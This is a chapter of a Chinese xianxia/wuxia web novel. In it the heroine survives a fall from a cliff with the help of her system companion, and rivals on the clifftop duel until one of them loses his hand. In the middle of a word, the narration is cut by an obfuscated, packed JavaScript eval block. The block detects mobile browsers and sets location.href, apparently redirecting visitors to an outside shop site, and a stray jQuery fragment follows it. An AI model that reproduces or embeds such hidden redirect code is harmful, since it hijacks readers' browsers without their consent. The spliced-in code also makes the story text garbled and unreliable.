55. 第 55 章

作品:《死遁后他找疯了

    “啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!”


    一只灰色的鸟从空中急掠而来:“啾啾、啾啾、啾啾!”


    姜六航往下坠落,脑海里999尖叫,身边小灰急鸣。


    这几年,999似乎长大了些,比从前沉稳很多。没以前那样呱噪,也很少再像这样“啊啊啊”地尖叫。现在是真的被吓着了,声音里带着哭腔:“航航,怎么办怎么办?你要摔死了!统也要消亡了,呜呜呜——,统不要死!”


    “航航,要不,统把最后所有的能量给你加个防护罩?你就不会摔死,还可以再活五个月。”


    “不用。”姜六航道。


    她目光锁定崖壁斜刺里伸出的虬枝,足尖在其上一点,借力旋身,险险贴近湿滑的岩壁。趁着下坠之势稍缓之时,她运转内力,手中长剑悍然刺向岩壁!


    “锵!”


    “呲啦啦!”


    刺耳的摩擦声爆响,火星在剑刃与岩石间狂乱迸溅,巨大的阻力撕扯着姜六航的手臂,落下的速度逐渐减缓。剑身在摩擦下寸寸消融,越来越短,最后只剩尺许。


    姜六航眼中厉色一闪,将所有力量贯注双臂,狠狠一送。


    “噗嗤!”


    残剑深深楔入一道岩缝,只剩剑柄在外,她整个人悬空挂在了剑柄上,脚下是令人眩晕的深渊。


    “航航,你好棒!”999高兴过后,又生起无数担忧,“现在怎么办?等着救援吗?他们什么时候能找到你?这剑结不结实,能撑多久?”


    姜六航急促喘息,冷汗浸透鬓角,目光急扫下方。


    运气真好。


    就在正下方两丈处,有一颗崖壁上生出的大树,枝干粗壮如成人腰身,看着就牢固。


    没有丝毫犹豫,她左手猛拍崖壁,右手紧握剑柄全力一拔。


    “咔嚓!”


    残剑离壁,她如一片落叶,轻巧地坠入茂密的树冠,被坚韧的枝干稳稳托住。


    暂时安全了。


    背靠粗糙的树干,心脏狂跳如擂鼓,每一次呼吸都牵扯着酸痛的肌肉。


    紧绷的神经骤然松弛,姜六航喘着气道:“三九。”


    正欢呼的999:“啊?”


    姜六航:“你说把能量全部给我,那你会怎么样?”


    “统没有能量,就消亡了啊。与其都死,不如让航航你多活五个月,好歹赚一点,哪晓得航航你这样好本事。”999声音中满是欣喜,“这下我们都能活啦!”


    姜六航掩下复杂心绪,扬眉回道:“嗯!”


    能活了。


    她想起落下悬崖时,师父叫的那声“衡儿”,声音里满是惊痛。


    师父,也许没有那么恨她,至少没想着她死。


    当年她被追杀,师父始终没往外说,她戴着龙影面具。


    人皆以为鬼手神医只制出一张龙影面具,被方三偷了去,却不知赤霄剑客脸上早已戴了一张。


    那时候,只要她取下面具,人们就再找不到赤霄剑客。师父明知道,却没告诉别人,任由他们拿着赤霄剑客的画像搜寻她。


    “啾啾。”小灰落到她肩上,歪着头,乌黑的眼珠瞅着她。


    姜六航:“是你告诉方三,我是姜帅?”她轻轻点了点它的头,“你个傻鸟,又不会说话,怎么告诉他的?”


    小灰:“啾啾。”


    姜六航没好气:“坏东西。”


    999:“航航,小灰只是只鸟,不懂事,你别和它计较。”


    姜六航:“……”


    这还护上了。


    姜六航懒得再理会,扒开枝叶观察崖底。


    恰在此时,一道身影擦着树冠边缘急速坠落,怀中掉出一块铜牌。


    御林军的令牌!


    姜六航瞳孔骤缩,视线紧随那军士下坠的身影。


    蓦地,她瞪大眼。


    五丈之下,竟然张着层层叠叠倾斜的巨大绳网。


    先前被枝叶遮挡,竟完全没发现。


    军士撞入网中,下坠之势被层层卸去,如同陷入柔软的云絮,缓缓下沉,顺着网面滚落,很快隐入下方更茂密的植被里。


    人工布置的救生网。


    是大哥!


    昨天她说出人质地点处,到军队出动之前有段时间,那时大哥就说,要先做一番布置。大哥熟悉黑岩山,算准了马荣可能的退路和狗急跳墙的手段,提前布下了这保命的网兜以防万一。


    网面倾斜向下,最大程度缓冲冲击,加上武者本身的内功底子,足以保命。


    崖下,必有接应的御林军,自己人救起,敌人则擒住。


    “反派真细心。”999也想明白了,先由衷地赞了一句,转而又疑惑道,“那刚才马荣要砍绳子,那些人急得要拼命,反派怎么不悄悄告诉他们有网?”


    姜六航:“那些人知道后,就没那么着急了,马荣起了疑心,不砍绳子了,干脆用刀剑把人质捅个对穿,怎么办?”


    999吓了一跳:“那可不行。还是反派想得周到。”


    姜六航深以为傲:“是啊,大哥一向冷静睿智,虑事周全。”


    话音未落,大哥那张染血的脸浮现在脑海里,那眼中的疯狂偏执,又哪里称得上冷静?印象中的大哥,温润、明智,如今,却变成了这副模样。


    心口骤然传来一阵沉闷的刺痛,闷得她几乎喘不过气。


    她垂头,慢慢用衣袖擦去指头的血迹,那是大哥抓住她时染上的。


    擦完后,她侧头,睨着肩上的小灰:“再跟着我,杀了你炖肉汤喝。”


    小灰浑身绒毛一炸,“啾”地一声,飞向高空,瞬间消失不见。


    姜六航闭了闭眼,再睁开时,已压下所有情绪。她张开双臂,向后仰倒。


    ——


    就在姜六航主动跳下之时,崖上。


    “皇上!”冯简伸手去拉秦信。


    秦信抬手制止,撑着地缓缓站起。冯简递上布巾,他沉默地接过,擦拭着脸上和手上的血迹。军士熟练地为他包扎肩头的伤口。


    “皇上,”冯简觑着他晦暗不明的脸色,低声宽慰,“徐……姜姑娘身手卓绝,定能化险为夷。”


    秦信眸中闪过一道幽光,擦脸的动作顿了顿,过了片刻才又继续。


    他当然知道赤霄剑客死不了,可那一刻,看着她身影坠下,他大脑一片空白,下意识地就扑了过去。


    是因为那一点点相似?


    身体绷紧,肩上刚刚缓下的血流骤然加大,冲走洒上的药粉。


    “皇上。”冯简低声叫。


    秦信敛下思绪,慢慢放松身体。


    “贾录!”一声饱含怒火的厉喝炸响,“拔剑!”


    贾录愕然:“黄大侠?你这是何意?”


    黄超右侧脸颊的伤疤泛出红色,铜铃大眼中含着水光:“我的徒弟,还轮不到你来教训!你将她逼下悬崖……来!让老子领教领教你的逍遥剑!”


    贾录脸色一沉:“破山剑,你疯了?赤霄剑客厚颜无耻,对恶贼卑躬屈膝,乃武林败类,我杀她,有何不对?”


    “你放屁!”悬崖对面的少年们瞬间炸了锅,“姐姐不是那样的人,她定有苦衷。”


    应辉踏前一步,声音中带着压力:“《江湖令》明令,不得私刑处决未定罪的江湖人。逍遥剑不会不知吧?”


    贾录心中一突。


    私下违反《江


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905753|188379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湖令》是一回事,当着皇帝和御林军的面说出杀人就是另一回事了。


    姜持紧握横刀,直挺挺站着,面朝着武者:“她一天一夜不眠不休,追踪到马荣的藏身地。她带着御林军,救出五处的人质。你们的亲人被吊在树上,命悬一线时,是她顶着箭雨,走过那条惊险万分的通道。是她一人挡住马荣和两百斩月楼帮众,为你们救人开路。贾录说,杀她有何不对,那你们呢,刚被她救下亲人的你们,也觉得杀她一点不心虚吗?”


    唐小豆啐道:“恩将仇报,猪狗不如!”


    众武者被这连番质问和痛骂钉在原地,脸上阵红阵白。


    有人面露愧色,暗忖:“此事确实做得不地道。即便要杀她,也应该在还清她的恩情后。如此才是恩怨分明,无可诟病。”


    更有人心思动摇:“其实,赤霄剑客也没做什么罪大恶极的事,骂骂便罢了,没必要非得杀她。”


    贾录脸色变幻不定。


    几个半大少年他不惧,却忌惮他们的身份和背后的势力。


    转眼一看,破山剑正咬牙切齿地瞪着他,而皇上……皇上只淡淡瞥他一眼,神色不明。


    “误会!都是误会!”贾录强挤出一丝笑容,“我并非要杀她,只是想切磋一二。再说,她是自己失足跌落,我的剑可没碰到她分毫!”


    唐小豆怒道:“不是你逼姐姐到崖边,她怎会掉下去?”


    “那都是意外,”贾录狡辩,“谁能料到……”


    姜持语音冷峻:“切磋?什么时候不能切磋?偏要选在她力战马荣,筋疲力尽的时候,是何居心!是不是以前败在她手下,心中怀恨,想要趁机除掉她?还是想踩着她的尸骨,扬你逍遥剑的威名?


    贾录心头巨震。


    这丫头竟将他那点心思看得一清二楚。


    他张口欲辩,黄超却已扑过来,剑风呼啸,直刺咽喉,他只得仓促举剑格挡。


    “铿!锵!”


    金铁交鸣。


    两人瞬间缠斗在一起,剑光霍霍,劲气四溢。


    武者们围拢观战。


    战场已清理完毕,秦信却丝毫没有离开的意思,负手而立,注视着场中激斗。


    两人武功不相上下,几十招还未分出胜负。


    秦信一直显得很有耐心,脚下一步都未挪动,始终注视两人,似乎打定主意要看出个结果。


    冯简暗自纳罕。


    皇上何时对江湖私斗如此关注?崖下明明有布置,赤霄剑客定然无事,只要点破,这场架也就打不起来了。可皇上方才却暗中吩咐暂不透露。


    冯简偷眼看向秦信沉冷的侧脸,只觉帝王心思,深如寒潭,连他这个最贴近的人也看不透了。


    黄超一剑削向贾录手腕,贾录正欲变招,忽然一点银光飞来,有什么扎进手背,他顿时全身发麻,不能动弹。


    黄超的剑锋毫无阻碍地掠过。


    一只断手连同紧握的长剑,“啪嗒”一声掉落尘埃。断腕处鲜血狂喷,手背上,一点银白的针尾在日光下闪烁。


    众人骇然失色,齐刷刷看向银针来处,却见先前和赤霄剑客一起走过通道的那个男子飞速地奔向路口。


    黄超大叫:“方三,针筒留下!”


    那人充耳不闻,转瞬到了悬崖那边,几个起落便消失在山道尽头。


    “啊!”迟来的剧痛袭来,贾录捧着断腕,发出凄厉惨嚎。


    几个与贾录交好的武者慌忙抢上,点穴止血,撒上金疮药。


    伤不致命,但贾录以后再不能用剑。


    江湖上,此后再无逍遥剑这号人物。


    秦信转头,淡声对身边御林军道:“带上马荣的头颅,回城。”